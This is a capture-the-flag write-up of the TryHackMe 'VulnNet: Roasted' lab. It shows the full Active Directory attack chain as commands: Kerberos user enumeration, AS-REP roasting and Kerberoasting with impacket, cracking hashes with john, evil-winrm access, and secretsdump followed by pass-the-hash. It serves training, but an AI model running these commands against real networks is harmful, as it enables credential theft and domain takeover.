VulnNet: Roasted writeup

TryHackMe | VulnNet: Roasted

VulnNet Entertainment quickly deployed another management instance on their very broad network...

tryhackme.com

I state that in this writeup the victim’s ip address changes because I had to restart the machine several times.

nmap basic results:

Starting Nmap 7.91 ( https://nmap.org ) at 2021–05–15 10:42 CEST
Nmap scan report for 10.10.33.1
Host is up (0.095s latency).
Not shown: 9988 filtered ports
PORT STATE SERVICE
53/tcp open domain

636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws

Then, as this is port 389 (ldap) open, I ran:

nmap -n -sV — script “ldap* and not brute” 10.10.33.1 #Using anonymous credentials

and the result is:

Starting Nmap 7.91 ( https://nmap.org ) at 2021–05–15 10:43 CEST

From here I could see that the domain is “vulnnet-rst.local”. So I put “10.10.33.1 vulnnet-rst.local” in my /etc/hosts file.

After, i tried to enumerate kerberos with nmap using this command:

nmap -p 88 — script=krb5-enum-users — script-args krb5-enum-users.realm=’vulnnet-rst.local’,userdb=/usr/share/seclists/Usernames/cirt-default-usernames.txt 10.10.33.1

It returns some kerberos users:

PORT STATE SERVICE
88/tcp open kerberos-sec
| krb5-enum-users:
| Discovered Kerberos principals
| Administrator@vulnnet-rst.local
| guest@vulnnet-rst.local
| Guest@vulnnet-rst.local
| administrator@vulnnet-rst.local
| GUEST@vulnnet-rst.local
|_ ADMINISTRATOR@vulnnet-rst.local

Administrator

Guest

Later I enumerate “smb” too:

smbclient -L \\\\10.10.33.1

Results:

Sharename Type Comment

ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
VulnNet-Business-Anonymous Disk VulnNet Business Sharing
VulnNet-Enterprise-Anonymous Disk VulnNet Enterprise Sharing

I can access to VulnNet-Business-Anonymous and to VulnNet-Enterprise-Anonymous share and here I found .txt files. But they weren’t really useful.

Now I used impacket to find others users:

python3 lookupsid.py guest@10.10.33.1

The result is:

From here I found that in domain VULNNET-RST there are other users:

krbtgt

WIN-2BO8M1OE1M1$

enterprise-core-vn

a-whitehat

t-skid

j-goldenhand

j-leet

Now, putting all usernames in a file, using impacket I found “t-skid” password’s hash:

python3 /usr/local/bin/GetNPUsers.py ‘VULNNET-RST/’ -usersfile users-dict.txt -no-pass -dc-ip 10.10.223.121

I saved hash in a file (“hash” file) and using john I found “t-skid” password:

# john — show hash

$krb5asrep$23$t-skid@VULNNET-RST:<REDACTED>

1 password hash cracked, 0 left

This credential was useful to gain another user’s credentials. The attack is known as KERBEROASTING. For more information I found the link below:

https://www.scip.ch/en/?labs.20181011

Then, using impacket:

python3 /usr/local/bin/GetUserSPNs.py ‘VULNNET-RST.LOCAL/t-skid:<REDACTED>’ -outputfile hash2

Now I have to crack the hash just got in the file “hash2". Using john I found “enterprise-core-vn” user’s password:

# john — show hash2
?:<REDACTED>

1 password hash cracked, 0 left

With these credentials I was able to connecting to SYSVOL share:

smbclient \\\\10.10.102.71\\SYSVOL -U enterprise-core-vn

Here I found important file in \\10.10.102.71\SYSVOL\vulnnet-rst.local\scripts\ path. The file is ResetPassword.vbs, in which I found “a-whitehat” password:

…

strUserNTName = “a-whitehat”
strPassword = “<REDACTED>”

…

Now I found in internet this:

How To Install And Use Evil WinRM In Kali Linux - ethicalhackingguru.com

Windows has a feature named Windows remote management, otherwise known as WinRM. It uses the WS-Management protocol to…

ethicalhackingguru.com

And, after installing ruby dependencies:

gem install winrm winrm-fs stringio

and after installing evil-winrm.rb I execute the client to connect to victim with credentials found before:

root@kali:/# ./evil-winrm.rb -i 10.10.102.71 -u ‘enterprise-core-vn’ -p ‘<REDACTED>’

It works with both “enterprise-core-vn” and “a-whitehat” credentials.

Then I gain powershell shell and got user flag:

*Evil-WinRM* PS C:\Users\enterprise-core-vn\Desktop> type user.txt
THM{<REDACTED>}

For system.txt I used again impacket to obtain Administrator hash, using user “a-whitehat” credentials:

python3 /usr/local/bin/secretsdump.py ‘VULNNET-RST.LOCAL/a-whitehat:bNdKVkjv3RR9ht@10.10.193.237’

It returns:

Now I can pass the Administrator hash and I did it using wmiexec.py as follow:

I got administrator’s shell and so I got system flag.
